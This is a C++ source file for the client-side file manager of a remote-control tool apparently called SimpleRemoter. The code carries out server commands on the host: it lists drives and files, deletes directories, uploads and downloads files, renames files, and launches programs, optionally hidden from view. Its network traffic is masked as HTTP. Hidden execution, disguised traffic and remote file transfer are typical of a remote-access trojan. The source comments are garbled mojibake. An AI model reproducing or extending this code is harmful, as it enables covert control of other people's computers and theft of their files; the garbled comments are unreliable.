SimpleRemoter/client/FileManager.cpp

// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////

#include "FileManager.h"
#include <shellapi.h>

typedef struct {
    DWORD	dwSizeHigh;
    DWORD	dwSizeLow;
} FILESIZE;

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
{
    m_nTransferMode = TRANSFER_MODE_NORMAL;
    // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
    SendDriveList();
}

CFileManager::~CFileManager()
{
    m_UploadList.clear();
}

VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
    switch (lpBuffer[0]) {
    case COMMAND_LIST_FILES:// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
        SendFilesList((char *)lpBuffer + 1);
        break;
    case COMMAND_DELETE_FILE:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
        DeleteFile((char *)lpBuffer + 1);
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DELETE_DIRECTORY:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
        DeleteDirectory((char *)lpBuffer + 1);
        SendToken(TOKEN_DELETE_FINISH);
        break;
    case COMMAND_DOWN_FILES: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
        UploadToRemote(lpBuffer + 1);
        break;
    case COMMAND_CONTINUE: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
        SendFileData(lpBuffer + 1);
        break;
    case COMMAND_CREATE_FOLDER:
        CreateFolder(lpBuffer + 1);
        break;
    case COMMAND_RENAME_FILE:
        Rename(lpBuffer + 1);
        break;
    case COMMAND_STOP:
        StopTransfer();
        break;
    case COMMAND_SET_TRANSFER_MODE:
        SetTransferMode(lpBuffer + 1);
        break;
    case COMMAND_FILE_SIZE:
        CreateLocalRecvFile(lpBuffer + 1);
        break;
    case COMMAND_FILE_DATA:
        WriteLocalRecvFile(lpBuffer + 1, nSize -1);
        break;
    case COMMAND_OPEN_FILE_SHOW:
        OpenFile((char *)lpBuffer + 1, SW_SHOW);
        break;
    case COMMAND_OPEN_FILE_HIDE:
        OpenFile((char *)lpBuffer + 1, SW_HIDE);
        break;
    default:
        break;
    }
}


bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
    LPTSTR p, pszDirCopy;
    DWORD dwAttributes;

    // Make a copy of the string for editing.

    __try {
        pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));

        if(pszDirCopy == NULL)
            return FALSE;

        lstrcpy(pszDirCopy, pszDirPath);

        p = pszDirCopy;

        //  If the second character in the path is "\", then this is a UNC
        //  path, and we should skip forward until we reach the 2nd \ in the path.

        if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) {
            p++;            // Skip over the first \ in the name.
            p++;            // Skip over the second \ in the name.

            //  Skip until we hit the first "\" (\\Server\).

            while(*p && *p != TEXT('\\')) {
                p = CharNext(p);
            }

            // Advance over it.

            if(*p) {
                p++;
            }

            //  Skip until we hit the second "\" (\\Server\Share\).

            while(*p && *p != TEXT('\\')) {
                p = CharNext(p);
            }

            // Advance over it also.

            if(*p) {
                p++;
            }
        } else if(*(p+1) == TEXT(':')) { // Not a UNC.  See if it's <drive>:
            p++;
            p++;

            // If it exists, skip over the root specifier

            if(*p && (*p == TEXT('\\'))) {
                p++;
            }
        }

        while(*p) {
            if(*p == TEXT('\\')) {
                *p = TEXT('\0');
                dwAttributes = GetFileAttributes(pszDirCopy);

                // Nothing exists with this name.  Try to make the directory name and error if unable to.
                if(dwAttributes == 0xffffffff) {
                    if(!CreateDirectory(pszDirCopy, NULL)) {
                        if(GetLastError() != ERROR_ALREADY_EXISTS) {
                            free(pszDirCopy);
                            return FALSE;
                        }
                    }
                } else {
                    if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) {
                        // Something exists with this name, but it's not a directory... Error
                        free(pszDirCopy);
                        return FALSE;
                    }
                }

                *p = TEXT('\\');
            }

            p = CharNext(p);
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        free(pszDirCopy);
        return FALSE;
    }

    free(pszDirCopy);
    return TRUE;
}

bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
    char	lpSubKey[500];
    HKEY	hKey;
    char	strTemp[MAX_PATH];
    LONG	nSize = sizeof(strTemp);
    char	*lpstrCat = NULL;
    memset(strTemp, 0, sizeof(strTemp));

    const char	*lpExt = strrchr(lpFile, '.');
    if (!lpExt)
        return false;

    if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
        return false;
    RegQueryValue(hKey, NULL, strTemp, &nSize);
    RegCloseKey(hKey);
    memset(lpSubKey, 0, sizeof(lpSubKey));
    wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);

    if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
        return false;
    memset(strTemp, 0, sizeof(strTemp));
    nSize = sizeof(strTemp);
    RegQueryValue(hKey, NULL, strTemp, &nSize);
    RegCloseKey(hKey);

    lpstrCat = strstr(strTemp, "\"%1");
    if (lpstrCat == NULL)
        lpstrCat = strstr(strTemp, "%1");

    if (lpstrCat == NULL) {
        lstrcat(strTemp, " ");
        lstrcat(strTemp, lpFile);
    } else
        lstrcpy(lpstrCat, lpFile);

    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi;
    si.cb = sizeof si;
    if (nShowCmd != SW_HIDE)
        si.lpDesktop = "WinSta0\\Default";

    CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return true;
}

UINT CFileManager::SendDriveList()
{
    char	DriveString[256];
    // ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    BYTE	DriveList[1024];
    char	FileSystem[MAX_PATH];
    char	*pDrive = NULL;
    DriveList[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
    GetLogicalDriveStrings(sizeof(DriveString), DriveString);
    pDrive = DriveString;

    unsigned __int64	HDAmount = 0;
    unsigned __int64	HDFreeSpace = 0;
    unsigned __int64	AmntMB = 0; // <20>ܴ<EFBFBD>С
    unsigned __int64	FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>

    DWORD dwOffset = 1;
    for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) {
        memset(FileSystem, 0, sizeof(FileSystem));
        // <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
        GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
        SHFILEINFO	sfi = {};
        SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);

        int	nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
        int	nFileSystemLen = lstrlen(FileSystem) + 1;

        // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
        if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) {
            AmntMB = HDAmount / 1024 / 1024;
            FreeMB = HDFreeSpace / 1024 / 1024;
        } else {
            AmntMB = 0;
            FreeMB = 0;
        }
        // <20><>ʼ<EFBFBD><CABC>ֵ
        DriveList[dwOffset] = pDrive[0];
        DriveList[dwOffset + 1] = GetDriveType(pDrive);

        // <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
        memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
        memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));

        // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
        memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);

        dwOffset += 10 + nTypeNameLen + nFileSystemLen;
    }
    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
    return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask);
}


UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
    // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
    m_nTransferMode = TRANSFER_MODE_NORMAL;

    UINT	nRet = 0;
    char	strPath[MAX_PATH];
    char	*pszFileName = NULL;
    LPBYTE	lpList = NULL;
    HANDLE	hFile;
    DWORD	dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
    int		nLen = 0;
    DWORD	nBufferSize =  1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
    WIN32_FIND_DATA	FindFileData;

    lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
    if (lpList==NULL) {
        return 0;
    }

    wsprintf(strPath, "%s\\*.*", lpszDirectory);
    hFile = FindFirstFile(strPath, &FindFileData);

    if (hFile == INVALID_HANDLE_VALUE) {
        BYTE bToken = TOKEN_FILE_LIST;
        return Send(&bToken, 1);
    }

    *lpList = TOKEN_FILE_LIST;

    // 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
    dwOffset = 1;
    /*
    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	1
    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>		strlen(filename) + 1 ('\0')
    <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>С	4
    */
    do {
        // <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
            nBufferSize += MAX_PATH * 2;
            lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
            if (lpList == NULL)
                continue;
        }
        pszFileName = FindFileData.cFileName;
        if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
            continue;
        // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
        *(lpList + dwOffset) = FindFileData.dwFileAttributes &	FILE_ATTRIBUTE_DIRECTORY;
        dwOffset++;
        // <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
        nLen = lstrlen(pszFileName);
        memcpy(lpList + dwOffset, pszFileName, nLen);
        dwOffset += nLen;
        *(lpList + dwOffset) = 0;
        dwOffset++;

        // <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
        memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
        memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
        dwOffset += 8;
        // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
        memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
        dwOffset += 8;
    } while(FindNextFile(hFile, &FindFileData));

    nRet = Send(lpList, dwOffset);

    LocalFree(lpList);
    FindClose(hFile);
    return nRet;
}


bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
    WIN32_FIND_DATA	wfd;
    char	lpszFilter[MAX_PATH];

    wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);

    HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
    if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
        return FALSE;

    do {
        if (wfd.cFileName[0] != '.') {
            if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                char strDirectory[MAX_PATH];
                wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
                DeleteDirectory(strDirectory);
            } else {
                char strFile[MAX_PATH];
                wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
                DeleteFile(strFile);
            }
        }
    } while (FindNextFile(hFind, &wfd));

    FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>

    if(!RemoveDirectory(lpszDirectory)) {
        return FALSE;
    }
    return true;
}

UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
    UINT	nRet = 0;
    DWORD	dwSizeHigh;
    DWORD	dwSizeLow;
    // 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
    HANDLE	hFile;
    // <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
    memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
    strcpy(m_strCurrentProcessFileName, lpszFileName);

    hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (hFile == INVALID_HANDLE_VALUE)
        return FALSE;
    dwSizeLow =	GetFileSize(hFile, &dwSizeHigh);
    CloseHandle(hFile);
    // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
    int		nPacketSize = lstrlen(lpszFileName) + 10;
    BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
    if (bPacket==NULL) {
        return 0;
    }
    memset(bPacket, 0, nPacketSize);

    bPacket[0] = TOKEN_FILE_SIZE;
    FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
    pFileSize->dwSizeHigh = dwSizeHigh;
    pFileSize->dwSizeLow = dwSizeLow;
    memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);

    nRet = Send(bPacket, nPacketSize);
    LocalFree(bPacket);
    return nRet;
}

UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
    UINT		nRet = 0;
    FILESIZE	*pFileSize;
    char		*lpFileName;

    pFileSize = (FILESIZE *)lpBuffer;
    lpFileName = m_strCurrentProcessFileName;

    // Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
    if (pFileSize->dwSizeLow == -1) {
        UploadNext();
        return 0;
    }
    HANDLE	hFile;
    hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (hFile == INVALID_HANDLE_VALUE)
        return -1;

    SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);

    int		nHeadLength = 9; // 1 + 4 + 4<><34><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С
    DWORD	nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
    DWORD	nNumberOfBytesRead = 0;

    LPBYTE	lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
    if (lpPacket == NULL)
        return -1;
    // Token,  <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    lpPacket[0] = TOKEN_FILE_DATA;
    memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
    ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
    CloseHandle(hFile);

    if (nNumberOfBytesRead > 0) {
        int	nPacketSize = nNumberOfBytesRead + nHeadLength;
        nRet = Send(lpPacket, nPacketSize);
    } else {
        UploadNext();
    }

    LocalFree(lpPacket);

    return nRet;
}

// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
void CFileManager::UploadNext()
{
    std::list <std::string>::iterator it = m_UploadList.begin();
    // ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    m_UploadList.erase(it);
    // <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
    if(m_UploadList.empty()) {
        SendToken(TOKEN_TRANSFER_FINISH);
    } else {
        // <20>ϴ<EFBFBD><CFB4><EFBFBD>һ<EFBFBD><D2BB>
        it = m_UploadList.begin();
        SendFileSize((*it).c_str());
    }
}

int CFileManager::SendToken(BYTE bToken)
{
    return Send(&bToken, 1);
}

bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
    if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') {
        FixedUploadList((char *)lpBuffer);
        if (m_UploadList.empty()) {
            StopTransfer();
            return true;
        }
    } else {
        m_UploadList.push_back((char *)lpBuffer);
    }

    std::list <std::string>::iterator it = m_UploadList.begin();
    // <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
    SendFileSize((*it).c_str());

    return true;
}

bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
    WIN32_FIND_DATA	wfd;
    char	lpszFilter[MAX_PATH];
    char	*lpszSlash = NULL;
    memset(lpszFilter, 0, sizeof(lpszFilter));

    if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
        lpszSlash = "\\";
    else
        lpszSlash = "";

    wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);

    HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
    if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
        return false;

    do {
        if (wfd.cFileName[0] != '.') {
            if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                char strDirectory[MAX_PATH];
                wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
                FixedUploadList(strDirectory);
            } else {
                char strFile[MAX_PATH];
                wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
                m_UploadList.push_back(strFile);
            }
        }
    } while (FindNextFile(hFind, &wfd));

    FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
    return true;
}

void CFileManager::StopTransfer()
{
    if (!m_UploadList.empty())
        m_UploadList.clear();
    SendToken(TOKEN_TRANSFER_FINISH);
}

void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
    FILESIZE	*pFileSize = (FILESIZE *)lpBuffer;
    // <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
    memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
    strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);

    // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
    m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;

    // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
    MakeSureDirectoryPathExists(m_strCurrentProcessFileName);

    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);

    if (hFind != INVALID_HANDLE_VALUE
        && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
        && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
        && m_nTransferMode != TRANSFER_MODE_JUMP_ALL
       ) {
        SendToken(TOKEN_GET_TRANSFER_MODE);
    } else {
        GetFileData();
    }
    FindClose(hFind);
}

void CFileManager::GetFileData()
{
    int	nTransferMode;
    switch (m_nTransferMode) {
    case TRANSFER_MODE_OVERWRITE_ALL:
        nTransferMode = TRANSFER_MODE_OVERWRITE;
        break;
    case TRANSFER_MODE_ADDITION_ALL:
        nTransferMode = TRANSFER_MODE_ADDITION;
        break;
    case TRANSFER_MODE_JUMP_ALL:
        nTransferMode = TRANSFER_MODE_JUMP;
        break;
    default:
        nTransferMode = m_nTransferMode;
    }

    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);

    //  1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
    BYTE	bToken[9];
    DWORD	dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
    memset(bToken, 0, sizeof(bToken));
    bToken[0] = TOKEN_DATA_CONTINUE;

    // <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
    if (hFind != INVALID_HANDLE_VALUE) {
        // <20><>ʾ<EFBFBD><CABE>ʲô
        // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
        if (nTransferMode == TRANSFER_MODE_ADDITION) {
            memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
            memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
            dwCreationDisposition = OPEN_EXISTING;
        }
        // <20><><EFBFBD><EFBFBD>
        else if (nTransferMode == TRANSFER_MODE_OVERWRITE) {
            // ƫ<><C6AB><EFBFBD><EFBFBD>0
            memset(bToken + 1, 0, 8);
            // <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
            dwCreationDisposition = CREATE_ALWAYS;
        }
        // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
        else if (nTransferMode == TRANSFER_MODE_JUMP) {
            DWORD dwOffset = -1;
            memcpy(bToken + 5, &dwOffset, 4);
            dwCreationDisposition = OPEN_EXISTING;
        }
    } else {
        // ƫ<><C6AB><EFBFBD><EFBFBD>0
        memset(bToken + 1, 0, 8);
        // <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
        dwCreationDisposition = CREATE_ALWAYS;
    }
    FindClose(hFind);

    HANDLE	hFile =
        CreateFile
        (
            m_strCurrentProcessFileName,
            GENERIC_WRITE,
            FILE_SHARE_WRITE,
            NULL,
            dwCreationDisposition,
            FILE_ATTRIBUTE_NORMAL,
            0
        );
    // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    if (hFile == INVALID_HANDLE_VALUE) {
        m_nCurrentProcessFileLength = 0;
        return;
    }
    CloseHandle(hFile);

    Send(bToken, sizeof(bToken));
}

void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
    // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    BYTE	*pData;
    DWORD	dwBytesToWrite;
    DWORD	dwBytesWrite;
    int		nHeadLength = 9; // 1 + 4 + 4  <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
    FILESIZE	*pFileSize;
    // <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
    pData = lpBuffer + 8;

    pFileSize = (FILESIZE *)lpBuffer;

    // <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
    LONG	dwOffsetHigh = pFileSize->dwSizeHigh;
    LONG	dwOffsetLow = pFileSize->dwSizeLow;

    dwBytesToWrite = nSize - 8;

    HANDLE	hFile =
        CreateFile
        (
            m_strCurrentProcessFileName,
            GENERIC_WRITE,
            FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            0
        );

    SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);

    int nRet = 0;
    // д<><D0B4><EFBFBD>ļ<EFBFBD>
    nRet = WriteFile
           (
               hFile,
               pData,
               dwBytesToWrite,
               &dwBytesWrite,
               NULL
           );
    CloseHandle(hFile);
    // Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
    BYTE	bToken[9];
    bToken[0] = TOKEN_DATA_CONTINUE;
    dwOffsetLow += dwBytesWrite;
    memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
    memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
    Send(bToken, sizeof(bToken));
}

void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
    memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
    GetFileData();
}

void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
    MakeSureDirectoryPathExists((char *)lpBuffer);
    SendToken(TOKEN_CREATEFOLDER_FINISH);
}

void CFileManager::Rename(LPBYTE lpBuffer)
{
    LPCTSTR lpExistingFileName = (char *)lpBuffer;
    LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
    ::MoveFile(lpExistingFileName, lpNewFileName);
    SendToken(TOKEN_RENAME_FINISH);
}